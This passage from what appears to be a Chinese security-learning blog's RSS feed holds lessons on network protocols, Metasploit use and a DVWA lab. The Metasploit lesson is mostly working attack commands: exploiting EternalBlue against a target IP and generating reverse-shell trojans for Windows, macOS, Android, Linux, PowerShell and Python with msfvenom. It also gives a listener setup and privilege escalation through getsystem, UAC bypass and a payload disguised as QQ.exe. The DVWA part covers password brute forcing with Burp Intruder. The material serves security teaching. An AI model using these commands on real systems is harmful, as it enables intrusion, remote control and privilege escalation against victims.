  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id=&#34;其他常用协议特殊功能场景&#34;&gt;其他常用协议（特殊功能场景）
&lt;/h5&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;协议名称&lt;/th&gt;
          &lt;th&gt;中文名&lt;/th&gt;
          &lt;th&gt;核心作用&lt;/th&gt;
          &lt;th&gt;关键特点&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;PPPoE&lt;/td&gt;
          &lt;td&gt;基于以太网的点对点协议&lt;/td&gt;
          &lt;td&gt;用于宽带拨号上网（如电信、联通家庭宽带）&lt;/td&gt;
          &lt;td&gt;实现“账号+密码”认证，建立互联网连接&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;L2TP&lt;/td&gt;
          &lt;td&gt;第二层隧道协议&lt;/td&gt;
          &lt;td&gt;与 IPsec 配合实现 VPN 连接&lt;/td&gt;
          &lt;td&gt;用于远程办公访问公司内网，默认端口 1701&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;IPSec&lt;/td&gt;
          &lt;td&gt;IP 安全协议&lt;/td&gt;
          &lt;td&gt;为 IP 数据包提供加密、认证服务&lt;/td&gt;
          &lt;td&gt;常用于 VPN 加密（如 L2TP/IPSec、IKEv2），保障跨网传输安全&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;MQTT&lt;/td&gt;
          &lt;td&gt;消息队列遥测传输协议&lt;/td&gt;
          &lt;td&gt;轻量级物联网（IoT）设备通信协议&lt;/td&gt;
          &lt;td&gt;低带宽、低功耗，适用于传感器、智能家居设备的数据传输&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        </item>
        <item>
        <title>1.7 MSF框架以及使用</title>
        <link>https://www.retr0.xyz/p/1.7-msf%E6%A1%86%E6%9E%B6%E4%BB%A5%E5%8F%8A%E4%BD%BF%E7%94%A8/</link>
        <pubDate>Tue, 02 Dec 2025 18:33:10 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.7-msf%E6%A1%86%E6%9E%B6%E4%BB%A5%E5%8F%8A%E4%BD%BF%E7%94%A8/</guid>
        <description>&lt;blockquote&gt;
&lt;p&gt;本篇课程如未特别解释均使用 Kali 虚拟机进行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;msf的了解&#34;&gt;MSF的了解
&lt;/h2&gt;&lt;p&gt;msf（全称 metasploit）是一款功能强大的攻击框架框架&lt;/p&gt;
&lt;p&gt;现在我们打开msf&lt;/p&gt;
&lt;p&gt;启动 Kali，在终端中输入&lt;code&gt;msfconsole&lt;/code&gt;打开msf&lt;/p&gt;
&lt;p&gt;msf中集成了很多工具，例如你可以调用nmap&lt;code&gt;nmap -sV [目标ip]&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;实验部分&#34;&gt;实验部分
&lt;/h2&gt;&lt;h3 id=&#34;msf使用漏洞进行攻击&#34;&gt;msf使用漏洞进行攻击
&lt;/h3&gt;&lt;p&gt;这里以漏洞：&lt;code&gt;永恒之蓝 ms17_010&lt;/code&gt;为例&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;前置知识：&lt;/strong&gt; msf如果使用漏洞去攻击对方，需要的条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;漏洞&lt;/li&gt;
&lt;li&gt;攻击载荷（木马、病毒）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;step1-利用漏洞进入目标计算机&#34;&gt;STEP1 利用漏洞进入目标计算机
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/windows/smb/ms17_010_eternalblue	选择要使用的漏洞
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;show options			查看使用要求
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set rhosts [目标ip]		
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run或者exploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回了以下内容说明漏洞已经利用成功:					&lt;strong&gt;WIN!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/02/692ec0a009fa4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h4 id=&#34;step2-执行命令&#34;&gt;STEP2 执行命令
&lt;/h4&gt;&lt;p&gt;这时发现控制台的指令前缀已经从&lt;code&gt;msf &amp;gt;&lt;/code&gt;变成了&lt;code&gt;metepreter &amp;gt;&lt;/code&gt;我们可以敲一个help看看有什么指令可用&lt;/p&gt;
&lt;p&gt;这边举例几个常用指令：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getuid&lt;/code&gt;		查看当前控制的用户账户权限&lt;/p&gt;
&lt;p&gt;&lt;code&gt;shell&lt;/code&gt;		打开目标的终端&lt;/p&gt;
&lt;p&gt;其他命令可以参考这篇文章：&lt;a class=&#34;link&#34; href=&#34;https://www.retr0.xyz/p/meterpreter-%E5%91%BD%E4%BB%A4%E6%89%8B%E5%86%8C%E4%B8%AD%E6%96%87/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Meterpreter 命令手册（中文）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;退出连接输入	&lt;code&gt;exit&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;另外如果想要暂时断开（挂起）连接可以使用：&lt;code&gt;background&lt;/code&gt;命令&lt;/p&gt;
&lt;p&gt;这时当前连接就会被保存为名称为session &lt;em&gt;的任务，其中&lt;/em&gt;为数字，例如session 1&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sessions&lt;/code&gt;	查看控制了多少人&lt;/p&gt;
&lt;p&gt;过会要重新连接时可以输入&lt;code&gt;sessions -i 1&lt;/code&gt;即可&lt;/p&gt;
&lt;h3 id=&#34;基于木马程序的msf内网渗透&#34;&gt;基于木马程序的msf内网渗透
&lt;/h3&gt;&lt;h4 id=&#34;服务端准备&#34;&gt;服务端准备
&lt;/h4&gt;&lt;p&gt;现在我们要用msf生成 &lt;strong&gt;32位&lt;/strong&gt; 木马程序，执行下面的命令：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cd Desktop/			方便找到exe文件
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=[控制端ip] lport=[端口号] -f exe &amp;gt; 文件名.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;现在我们生成的是用于服务端的文件，接下来我们开始配置控制端&lt;/p&gt;
&lt;p&gt;补充：生成64位木马命令&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f exe -o 文件名.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;控制端准备&#34;&gt;控制端准备
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;msfconsole&lt;/code&gt;		打开msf控制台&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set payload windows/meterpreter/reverse_tcp			payload后的内容要与上面-p后面的内容一致
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set lhost [控制端ip]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run或者Sexploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;现在开始如果有目标打开了木马程序就会自动连接到被控端：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/02/692ec0a002a28.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h4 id=&#34;其他类型木马&#34;&gt;其他类型木马
&lt;/h4&gt;&lt;p&gt;生成Mac木马（32位旧版）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=[控制端ip] lport=[端口号] -f macho -p 文件名.macho
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;生成安卓木马（旧版，需要数字签名）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f apk -o 文件名.apk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;生成power shell木马（raw表示生成代码，不是程序）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp lhost=[控制端ip] lport=[端口号] -e cmd/powershell_base64 -i 3 -f raw -o msf.ps1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;生成Linux木马&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f elf -o 文件名.elf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;生成python木马&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -p python/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f raw -o 文件名.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;meterpreter操作补充&#34;&gt;meterpreter操作补充
&lt;/h2&gt;&lt;h3 id=&#34;提权&#34;&gt;提权
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;方法一：直接提权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getsystem&lt;/code&gt;	直接提权（有风险，可能报错）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法二：通过ask模块提权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;若当前已经进入meterpreter &amp;gt; 控制台：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;background		挂起连接
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/windows/local/ask		加载ask模块
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;info		查看信息
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;查看到需要指定目标的session号码，所以使用&lt;code&gt;sessions&lt;/code&gt;查询（以session 1为例）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set session 1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set filename QQ.exe   此处填伪装的文件名，以qq为例
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;方法三：UAC绕过提权（成功率不高，仅限32位系统）&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/windows/local/bypassuac
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;show options
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set session [编号]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;之后会反弹一个新的session，进入这个新的session&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.6 其他基础web漏洞介绍</title>
        <link>https://www.retr0.xyz/p/1.6-%E5%85%B6%E4%BB%96%E5%9F%BA%E7%A1%80web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/</link>
        <pubDate>Sun, 30 Nov 2025 14:10:19 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.6-%E5%85%B6%E4%BB%96%E5%9F%BA%E7%A1%80web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/</guid>
        <description>&lt;blockquote&gt;
&lt;p&gt;本篇文章如未特别强调，均使用提供的Win10进行实验&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;靶场的获取与配置&#34;&gt;靶场的获取与配置
&lt;/h2&gt;&lt;p&gt;本篇内容基于dvwa靶场，文件已经放在文章&lt;a class=&#34;link&#34; href=&#34;https://www.retr0.xyz/p/0.%E5%AE%89%E5%85%A8%E7%B1%BB%E5%B7%A5%E5%85%B7%E6%96%87%E4%BB%B6%E8%B5%84%E6%BA%90%E5%BA%93/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;0.安全类工具文件资源库&lt;/a&gt;中了，这里再贴出来一次&lt;/p&gt;
&lt;p&gt;链接：&lt;/font&gt;&lt;a class=&#34;link&#34; href=&#34;https://pan.baidu.com/s/1dmU9DcXAthjY0te4qv4tAg&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;font style=&#34;color:rgb(0, 184, 119);&#34;&gt;https://pan.baidu.com/s/1dmU9DcXAthjY0te4qv4tAg&lt;/font&gt;&lt;/a&gt;
提取码：38mj&lt;/p&gt;
&lt;p&gt;下载得到&lt;code&gt;dvwa汉化版.zip&lt;/code&gt;，将压缩包里&lt;code&gt;dvwa&lt;/code&gt;文件夹里的文件解压到&lt;code&gt;C:\phpstudy_pro\WWW&lt;/code&gt;中，注意提前将&lt;font style=&#34;color:#DF2A3F;&#34;&gt;phpmyadmin以外&lt;/font&gt;的其他文件删除&lt;/p&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;打开phpstudy，在“网站”菜单中的“管理”处设置php版本为&lt;code&gt;5.6.x&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;到“设置”-“配置文件”中点击你上面选择的php版本打开配置文件&lt;/li&gt;
&lt;li&gt;使用Ctrl+F搜索&lt;code&gt;allow_url_fopen&lt;/code&gt;和&lt;code&gt;allow_url_include&lt;/code&gt;确保这两项后面的配置都是&lt;code&gt;On&lt;/code&gt;，保存文件&lt;/li&gt;
&lt;li&gt;回到首页，启动Apache和MySQL，打开FireFox浏览器访问&lt;code&gt;127.0.0.1&lt;/code&gt;，点击下面的 |创建/重置数据库| 按钮&lt;/li&gt;
&lt;li&gt;登录，用户名为：&lt;code&gt;admin&lt;/code&gt;，密码为：&lt;code&gt;password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在DVWA安全页面里设置安全等级为low&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;靶场的使用&#34;&gt;靶场的使用
&lt;/h2&gt;&lt;p&gt;提前配置好抓包环境并打开burp suite，详见&lt;a class=&#34;link&#34; href=&#34;https://www.retr0.xyz/p/1.1-%E6%8A%93%E5%8C%85%E5%92%8Cweb%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;1.1 抓包和web基本知识&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;小贴士：可以在phpstudy目录下新建test.php用来测试代码中看不懂的部分&lt;/p&gt;
&lt;h3 id=&#34;暴力破解-brute-force&#34;&gt;暴力破解 Brute Force
&lt;/h3&gt;&lt;p&gt;打开dvwa中暴力破解页面，可以点击右下角查看源代码简单分析功能如何实现&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;现在随便输入用户名和密码（以分别为admin；123为例），同时启用抓包，点击“登陆”，发现已经抓到相应数据包，右键空白处点击“Send to Intruder&amp;quot;后放行数据包&lt;/li&gt;
&lt;li&gt;转到Intruder-Positions页面，这里需要我们设置要暴力破解哪个部分，我们先点击&lt;code&gt;Clear§&lt;/code&gt;，然后选中密码部分（也就是123），点击&lt;code&gt;add§&lt;/code&gt;,Attack Type选择sniper&lt;/li&gt;
&lt;li&gt;转到Payloads选项中，可以在Payloads Options中添加可能的密码或直接导入字典&lt;/li&gt;
&lt;li&gt;点击Start attack等待攻击完成提示Finished&lt;/li&gt;
&lt;li&gt;点击Length按照长度排序，发现“password”的长度明显与其他不同，说明password是正确密码&lt;/li&gt;
&lt;/ol&gt;
&lt;details class=&#34;lake-collapse&#34;&gt;&lt;summary id=&#34;u0d490cef&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;补充1(点击展开)：&lt;/span&gt;&lt;/strong&gt;&lt;/summary&gt;&lt;p id=&#34;u09e9fb60&#34; class=&#34;ne-p&#34;&gt;&lt;span class=&#34;ne-text&#34;&gt;不同的攻击模式：&lt;/span&gt;&lt;/p&gt;&lt;ul class=&#34;ne-ul&#34;&gt;&lt;li id=&#34;udc9315e9&#34; data-lake-index-type=&#34;0&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;sniper 模式[单向爆破]&lt;/span&gt;&lt;/strong&gt;&lt;span class=&#34;ne-text&#34;&gt; 知道用户名不知道密码的情况，破解一些单一的输入框&lt;/span&gt;&lt;/li&gt;&lt;li id=&#34;ue535ab34&#34; data-lake-index-type=&#34;0&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;battering ram 模式[并发攻击]&lt;/span&gt;&lt;/strong&gt;&lt;span class=&#34;ne-text&#34;&gt; 对多个目标进行单一的payload攻击，也就是用户名和密码一致&lt;/span&gt;&lt;/li&gt;&lt;li id=&#34;u9ec15bf0&#34; data-lake-index-type=&#34;0&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;pitchfork 模式[交叉攻击(撞库)] &lt;/span&gt;&lt;/strong&gt;&lt;span class=&#34;ne-text&#34;&gt;有几个变量就可以选几个字典，从字典中随机抽取穷举&lt;/span&gt;&lt;/li&gt;&lt;li id=&#34;u3fb2f0aa&#34; data-lake-index-type=&#34;0&#34;&gt;&lt;strong&gt;&lt;span class=&#34;ne-text&#34;&gt;cluster bomb 模式[完整爆破] &lt;/span&gt;&lt;/strong&gt;&lt;span class=&#34;ne-text&#34;&gt;从字典中挨个抽取尝试&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/details&gt;
&lt;h2 id=&#34;命令注入-command-injection命令执行漏洞&#34;&gt;命令注入 Command injection（命令执行漏洞）
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;所谓命令执行漏洞就是说一个地方可以执行操作系统的命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;low-低难度&#34;&gt;low 低难度
&lt;/h3&gt;&lt;p&gt;打开dvwa中命令注入页面，可以点击右下角查看源代码简单分析功能如何实现&lt;/p&gt;
